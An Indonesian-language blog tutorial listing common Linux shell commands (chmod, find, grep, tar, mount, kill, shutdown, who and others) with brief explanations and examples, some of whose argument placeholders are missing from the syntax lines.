$ cat /nama/suatu/file
cd
Change Directory atau untuk berpindah direktori dan saya kira Anda tidak akan menemui kesulitan menggunakan perintah ini karena cara penggunaanya mirip dengan perintah cd di DOS.
chgrp
Perintah ini digunakan untuk merubah kepemilikan kelompok file atau direktori. Misalnya untuk memberi ijin pada kelompok atau grup agar dapat mengakses suatu file. Sintaks penulisannya adalah sbb:
# chgrp
chmod
Digunakan untuk menambah dan mengurangi ijin pemakai untuk mengakses file atau direktori. Anda dapat menggunakan sistem numeric coding atau sistem letter coding. Ada tiga jenis permission/perijinan yang dapat dirubah yaitu:

1. r untuk read,
2. w untuk write, dan
3. x untuk execute.
Dengan menggunakan letter coding, Anda dapat merubah permission diatas untuk masing-masing u (user), g (group), o (other) dan a (all) dengan hanya memberi tanda plus (+) untuk menambah ijin dan tanda minus (-) untuk mencabut ijin.
Misalnya untuk memberikan ijin baca dan eksekusi file coba1 kepada owner dan group, perintahnya adalah:
$ chmod ug+rx coba1
Untuk mencabut ijin-ijin tersebut:
$ chmod ug-rx coba1
Dengan menggunakan sitem numeric coding, permission untuk user, group dan other ditentukan dengan menggunakan kombinasi angka-angka, 4, 2 dan 1 dimana 4 (read), 2 (write) dan 1 (execute).
Misalnya untuk memberikan ijin baca(4), tulis(2) dan eksekusi(1) file coba2 kepada owner, perintahnya adalah:
$ chmod 700 coba2
Contoh lain, untuk memberi ijin baca(4) dan tulis(2) file coba3 kepada user, baca(4) saja kepada group dan other, perintahnya adalah:
$ chmod 644 coba3
Perhatian: Jika Anda hosting di server berbasis Linux, perintah ini sangat penting sekali bagi keamanan data Anda. Saya sarankan semua direktori yang tidak perlu Anda tulis di chmod 100 (jika Apache jalan sebagai current user (Anda)) atau di chmod 501 jika Apache jalan sebagai www-data atau nobody (user lain).
chown
Merubah user ID (owner) sebuah file atau direktori
$ chown
cp
Untuk menyalin file atau copy. Misalnya untuk menyalin file1 menjadi file2:
$ cp
fg
Mengembalikan suatu proses yang dihentikan sementar(suspend) agar berjalan kembali di foreground. Lihat juga perintah bg diatas.
find
Untuk menemukan dimana letak sebuah file. Perintah ini akan mencari file sesuai dengan kriteria yang Anda tentukan. Sintaksnya adalah perintah itu sendiri diikuti dengan nama direktori awal pencarian, kemudian nama file (bisa menggunakan wildcard, metacharacters) dan terakhir menentukan bagaimana hasil pencarian itu akan ditampilkan. Misalnya akan dicari semua file yang berakhiran .doc di current direktori serta tampilkan hasilnya di layar:
$ find . -name *.doc -print
Contoh hasil:
. /public/docs/account.doc
. /public/docs/balance.doc
. /public/docs/statistik/prospek.doc
./public/docs/statistik/presconf.doc
grep
Global regular expresion parse atau grep adalah perintah untuk mencari file-file yang mengandung teks dengan kriteria yang telah Anda tentukan.
Format perintah:
$ grep
Misalnya akan dicari file-file yang mengandung teks marginal di current direktori:
$ grep marginal
diferent.doc: Catatan: perkataan marginal luas dipergunakan di dalam ilmu ekonomi prob.rtf: oleh fungsi hasil marginal dan fungsi biaya marginal jika fungsi prob.rtf: jika biaya marginal dan hasil marginal diketahui maka biaya total
gzip
ini adalah software kompresi zip versi GNU, fungsinya untuk mengkompresi sebuah file. Sintaksnya sangat sederhana:
$ gzip
Walaupun demikian Anda bisa memberikan parameter tertentu bila memerlukan kompresi file yang lebih baik, silakan melihat manual page-nya. Lihat juga file tar, unzip dan zip.
halt
Perintah ini hanya bisa dijalankan oleh super useratau Anda harus login sebagai root. Perintah ini untuk memberitahu kernel supaya mematikan sistem atau shutdown.
hostname
Untuk menampilkan host atau domain name sistem dan bisa pula digunakan untuk mengesset nama host sistem.
Contoh pemakaian:
[user@localhost mydirectoryname] $ hostname
localhost.localdomain
kill
Perintah ini akan mengirimkan sinyal ke sebuah proses yang kita tentukan. Tujuannya adalah menghentikan proses. Format penulisan:
$ kill
PID adalah nomor proses yang akan di hentikan. Tidak tahu PID proses mana yang mau dibunuh? Cobalah bereksperimen dengan perintah:
ps aux | grep
less
Fungsinya seperti perintah more.
login
Untuk masuk ke sistem dengan memasukkan login ID atau dapat juga digunakan untuk berpindah dari user satu ke user lainnya.
logout
Untuk keluar dari sistem.
ls
Menampilkan isi dari sebuah direktori seperti perintah dir di DOS. Anda dapat menggunakan beberapa option yang disediakan untuk mengatur tampilannya di layar. Bila Anda menjalankan perintah ini tanpa option maka akan ditampilkan seluruh file nonhidden(file tanpa awalan tanda titik) secara alfabet dan secara melebar mengisi kolom layar. Option -la artinya menampilkan seluruh file/all termasuk file hidden(file dengan awalan tanda titik) dengan format panjang.
man
Untuk menampilkan manual page atau teks yang menjelaskan secara detail bagaimana cara penggunaan sebuah perintah. Perintah ini berguna sekali bila sewaktu-waktu Anda lupa atau tidak mengetahui fungsi dan cara menggunakan sebuah perintah.
$ man
mesg
Perintah ini digunakan oleh user untuk memberikan ijin user lain menampilkan pesan dilayar terminal. Misalnya mesg Anda dalam posisi y maka user lain bisa menampilkan pesan di layar Anda dengan write atau talk.
$ mesg y atau mesg n
Gunakan mesg n bila Anda tidak ingin diganggu dengan tampilan pesan-pesan dari user lain.
mkdir
Membuat direktori baru, sama dengan perintah md di DOS. a
more
Mempaging halaman, seperti halnya less
mount
Perintah ini akan me-mount filesystem ke suatu direktori atau mount-point yang telah ditentukan. Hanya superuser yang bisa menjalankan perintah ini. Untuk melihat filesystem apa saja beserta mount-pointnya saat itu, ketikkan perintah mount. Perintah ini dapat Anda pelajari di bab mengenai filesystem. Lihat juga perintah umount.
$ mount
/dev/hda3 on / type ext2 (rw)
none on /proc type proc (rw)
/dev/hda1 on /dos type vfat (rw)
/dev/hda4 on /usr type ext2 (rw)
none on /dev/pts type devpts (rw,mode=0622)
mv
Untuk memindahkan file dari satu lokasi ke lokasi yang lain. Bila argumen yang kedua berupa sebuah direktori maka mv akan memindahkan file ke direktori tersebut. Bila kedua argumen berupa file maka nama file pertama akan menimpa file kedua. Akan terjadi kesalahan bila Anda memasukkan lebih dari dua argumen kecuali argumen terakhir berupa sebuah direktori.
passwd
Digunakan untuk mengganti password. Anda akan selalu diminta mengisikan password lama dan selanjutnya akan diminta mengisikan password baru sebanyak dua kali. Password sedikitnya terdiri dari enam karakter dan sedikitnya mengandung sebuah karakter.
pwd
Print working directory, atau untuk menampilkan nama direktori dimana Anda saat itu sedang berada.
rm
Untuk menghapus file dan secara default rm tidak menghapus direktori. Gunakan secara hati-hati perintah ini terutama dengan option -r yang secara rekursif dapat mengapus seluruh file.
Sekali lagi: Hati-hati dengan perintah ini!
rmdir
Untuk menghapus direktori kosong.
shutdown
Perintah ini untuk mematikan sistem, seperti perintah halt. Pada beberapa sistem anda bisa menghentikan komputer dengan perintah shutdown -h now dan merestart sistem dengan perintah shutdown -r now atau dengan kombinasi tombol Ctr-Alt-Del.
su
Untuk login sementara sebagai user lain. Bila user ID tidak disertakan maka komputer menganggap Anda ingin login sementara sebagai super user atau root. Bila Anda bukan root dan user lain itu memiliki password maka Anda harus memasukkan passwordnya dengan benar. Tapi bila Anda adalah root maka Anda dapat login sebagai user lain tanpa perlu mengetahui password user tersebut.
tail
Menampilkan 10 baris terakhir dari suatu file. Default baris yang ditampilkan adalah 10 tapi Anda bisa menentukan sendiri berapa baris yang ingin ditampilkan:
$ tail
talk
Untuk mengadakan percakapan melalui terminal. Input dari terminal Anda akan disalin di terminal user lain, begitu sebaliknya.
tar
Menyimpan dan mengekstrak file dari media seperti tape drive atau hard disk. File arsip tersebut sering disebut sebagai file tar. Sintaknya sebagai berikut:
$ tar
Contoh:
$ tar -czvf namaFile.tar.gz /nama/direktori/*
Perintah di atas digunakan untuk memasukkan semua isi direktori, lalu dikompres dengan format tar lalu di zip dengan gzip, sehingga menghasilkan sebuah file bernama namaFile.tar.gz
$ tar -xzvf namaFile.tar.gz
Perintah di atas untuk mengekstrak file namaFile.tar.gz
umount
Adalah kebalikan dari perintah mount, yaitu untuk meng-unmount filesystem dari mount-pointnya. Setelah perintah ini dijalankan direktori yang menjadi mount-point tidak lagi bisa digunakan.
# umount
unalias
Kebalikan dari perintah alias, perintah ini akan membatalkan sebuah alias. Jadi untuk membatalkan alias dir seperti telah dicontohkan diatas, gunakan perintah:
$ unalias dir
unzip
Digunakan untuk mengekstrak atau menguraikan file yang dikompres dengan zip. Sintaknya sederhana dan akan mengekstrak file yang anda tentukan:

$ unzip
Lihat juga perintah-perintah gzip dan unzip.
wall
Mengirimkan pesan dan menampilkannya di terminal tiap user yang sedang login. Perintah ini berguna bagi superuser atau root untuk memberikan peringatan ke seluruh user, misalnya pemberitahuan bahwa server sesaat lagi akan dimatikan.
# wall Dear, everyone….. segera simpan pekerjaan kalian, server akan saya matikan 10 menit lagi.
who
Untuk menampilkan siapa saja yang sedang login. Perintah ini akan menampilkan informasi mengenai login name, jenis terminal, waktu login dan remote hostname untuk setiap user yang saat itu sedang login. Misalnya:
$ who
root ttyp0 May 22 11:44
flory ttyp2 May 22 11:59
pooh ttyp3 May 22 12:08
xhost +
Perintah ini digunakan untuk memberi akses atau menghapus akses(xhost -) host atau user ke sebuah server X.
xset
Perintah ini untuk mengeset beberapa option di X Window seperti bunyi bel, kecepatan mouse, font, parameter screen saver dan sebagainya. Misalnya bunyi bel dan kecepatan mouse dapat Anda set menggunakan perintah ini:
$ xset b
$ xset m
zip
Perintah ini akan membuat dan menambahkan file ke dalam file arsip zip. Lihat juga perintah gzip dan unzip.


Wassalamu'alaikum.


 

wahyu/~teardrop Copyright © 2010 Designed by Wahyu Adi Prasetyo